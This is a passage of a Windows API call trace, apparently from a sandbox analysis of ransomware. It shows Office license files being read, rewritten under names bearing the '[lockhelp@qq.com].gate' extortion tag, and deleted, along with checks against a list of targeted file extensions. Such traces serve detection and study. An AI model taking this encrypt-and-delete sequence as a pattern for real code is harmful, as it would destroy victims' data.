office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0316.715] GetLastError () returned 0x0 [0316.715] ReadFile (in: hFile=0x414, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x564e, lpOverlapped=0x0) returned 1 [0316.790] WriteFile (in: hFile=0x404, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x5650, lpOverlapped=0x0) returned 1 [0316.792] ReadFile (in: hFile=0x414, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.792] WriteFile (in: hFile=0x404, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x118, lpOverlapped=0x0) returned 1 [0316.792] SetEndOfFile (hFile=0x404) returned 1 [0316.792] CloseHandle (hObject=0x404) returned 1 [0316.792] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.793] SetEndOfFile (hFile=0x414) returned 1 [0316.995] CloseHandle (hObject=0x414) returned 1 [0316.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 1 [0317.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0317.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0317.078] lstrlenW (lpString=".doc") returned 4 [0317.078] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.078] lstrlenW (lpString=".docx") returned 5 [0317.078] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.079] lstrlenW (lpString=".pdf") returned 4 [0317.079] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.079] lstrlenW (lpString=".xls") returned 4 [0317.079] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.079] lstrlenW (lpString=".xlsx") returned 5 [0317.079] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.079] lstrlenW (lpString=".ppt") returned 4 [0317.079] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0317.079] lstrlenW (lpString=".zip") returned 4 [0317.079] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.079] lstrlenW (lpString=".rar") returned 4 [0317.079] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.079] lstrlenW (lpString=".bz2") returned 4 [0317.079] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.079] lstrlenW (lpString=".7z") returned 3 [0317.079] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0317.079] lstrlenW (lpString=".dbf") returned 4 [0317.079] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0317.079] lstrlenW (lpString=".1cd") returned 4 [0317.079] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0317.079] lstrlenW (lpString=".jpg") returned 4 [0317.079] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.080] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=22094) returned 1 [0317.080] CloseHandle (hObject=0x498) returned 1 [0317.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 0x220 [0317.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0317.080] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.080] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0317.122] GetLastError () returned 0x0 [0317.122] ReadFile (in: hFile=0x498, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x564e, lpOverlapped=0x0) returned 1 [0317.234] WriteFile (in: hFile=0x564, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x5650, lpOverlapped=0x0) returned 1 [0317.235] ReadFile (in: hFile=0x498, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.235] WriteFile (in: hFile=0x564, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x118, lpOverlapped=0x0) returned 1 [0317.235] SetEndOfFile (hFile=0x564) returned 1 [0317.236] CloseHandle (hObject=0x564) returned 1 [0317.236] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.236] SetEndOfFile (hFile=0x498) returned 1 [0317.250] CloseHandle (hObject=0x498) returned 1 [0317.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 1 [0317.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0317.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0317.357] lstrlenW (lpString=".doc") returned 4 [0317.357] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.357] lstrlenW (lpString=".docx") returned 5 [0317.357] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.357] lstrlenW (lpString=".pdf") returned 4 [0317.357] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.357] lstrlenW (lpString=".xls") returned 4 [0317.357] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.357] lstrlenW (lpString=".xlsx") returned 5 [0317.357] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.357] lstrlenW (lpString=".ppt") returned 4 [0317.357] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0317.357] lstrlenW (lpString=".zip") returned 4 [0317.357] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.357] lstrlenW (lpString=".rar") returned 4 [0317.357] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.357] lstrlenW (lpString=".bz2") returned 4 [0317.357] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.357] lstrlenW (lpString=".7z") returned 3 [0317.357] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0317.357] lstrlenW (lpString=".dbf") returned 4 [0317.357] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0317.357] lstrlenW (lpString=".1cd") returned 4 [0317.357] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0317.357] lstrlenW (lpString=".jpg") returned 4 [0317.357] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.358] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=10659) returned 1 [0317.358] CloseHandle (hObject=0x494) returned 1 [0317.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 0x220 [0317.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0317.358] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.358] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0317.361] GetLastError () returned 0x0 [0317.361] ReadFile (in: hFile=0x494, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x29a3, lpOverlapped=0x0) returned 1 [0317.456] WriteFile (in: hFile=0x404, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0317.456] ReadFile (in: hFile=0x494, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.457] WriteFile (in: hFile=0x404, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x112, lpOverlapped=0x0) returned 1 [0317.457] SetEndOfFile (hFile=0x404) returned 1 [0317.460] CloseHandle (hObject=0x404) returned 1 [0317.461] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.461] SetEndOfFile (hFile=0x494) returned 1 [0317.469] CloseHandle (hObject=0x494) returned 1 [0317.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 1 [0317.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0317.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0317.631] lstrlenW (lpString=".doc") returned 4 [0317.631] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.631] lstrlenW (lpString=".docx") returned 5 [0317.631] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.631] lstrlenW (lpString=".pdf") returned 4 [0317.632] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.632] lstrlenW (lpString=".xls") returned 4 [0317.632] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.632] lstrlenW (lpString=".xlsx") returned 5 [0317.632] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.632] lstrlenW (lpString=".ppt") returned 4 [0317.632] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0317.632] lstrlenW (lpString=".zip") returned 4 [0317.632] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.632] lstrlenW (lpString=".rar") returned 4 [0317.632] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.632] lstrlenW (lpString=".bz2") returned 4 [0317.632] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.632] lstrlenW (lpString=".7z") returned 3 [0317.632] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0317.632] lstrlenW (lpString=".dbf") returned 4 [0317.632] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0317.632] lstrlenW (lpString=".1cd") returned 4 [0317.632] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0317.632] lstrlenW (lpString=".jpg") returned 4 [0317.632] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.633] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=11167) returned 1 [0317.633] CloseHandle (hObject=0x564) returned 1 [0317.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 0x220 [0317.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0317.633] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.633] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0317.634] GetLastError () returned 0x0 [0317.634] ReadFile (in: hFile=0x564, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0317.915] WriteFile (in: hFile=0x3b0, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0317.916] ReadFile (in: hFile=0x564, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.916] WriteFile (in: hFile=0x3b0, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x10e, lpOverlapped=0x0) returned 1 [0317.917] SetEndOfFile (hFile=0x3b0) returned 1 [0317.924] CloseHandle (hObject=0x3b0) returned 1 [0317.926] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.926] SetEndOfFile (hFile=0x564) returned 1 [0317.931] CloseHandle (hObject=0x564) returned 1 [0317.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 1 [0317.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0317.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0317.989] lstrlenW (lpString=".doc") returned 4 [0317.989] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.989] lstrlenW (lpString=".docx") returned 5 [0317.989] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.989] lstrlenW (lpString=".pdf") returned 4 [0317.989] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.989] lstrlenW (lpString=".xls") returned 4 [0317.989] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.989] lstrlenW (lpString=".xlsx") returned 5 [0317.989] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.989] lstrlenW (lpString=".ppt") returned 4 [0317.989] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0317.989] lstrlenW (lpString=".zip") returned 4 [0317.989] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.989] lstrlenW (lpString=".rar") returned 4 [0317.989] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.989] lstrlenW (lpString=".bz2") returned 4 [0317.990] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.990] lstrlenW (lpString=".7z") returned 3 [0317.990] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0317.990] lstrlenW (lpString=".dbf") returned 4 [0317.990] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0317.990] lstrlenW (lpString=".1cd") returned 4 [0317.990] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0317.990] lstrlenW (lpString=".jpg") returned 4 [0317.990] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.990] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=21737) returned 1 [0317.990] CloseHandle (hObject=0x3b0) returned 1 [0317.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0317.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0317.991] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.991] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0317.992] GetLastError () returned 0x0 [0317.992] ReadFile (in: hFile=0x3b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x54e9, lpOverlapped=0x0) returned 1 [0318.063] WriteFile (in: hFile=0x498, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x54f0, lpOverlapped=0x0) returned 1 [0318.064] ReadFile (in: hFile=0x3b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.064] WriteFile (in: hFile=0x498, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x128, lpOverlapped=0x0) returned 1 [0318.064] SetEndOfFile (hFile=0x498) returned 1 [0318.065] CloseHandle (hObject=0x498) returned 1 [0318.065] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.065] SetEndOfFile (hFile=0x3b0) returned 1 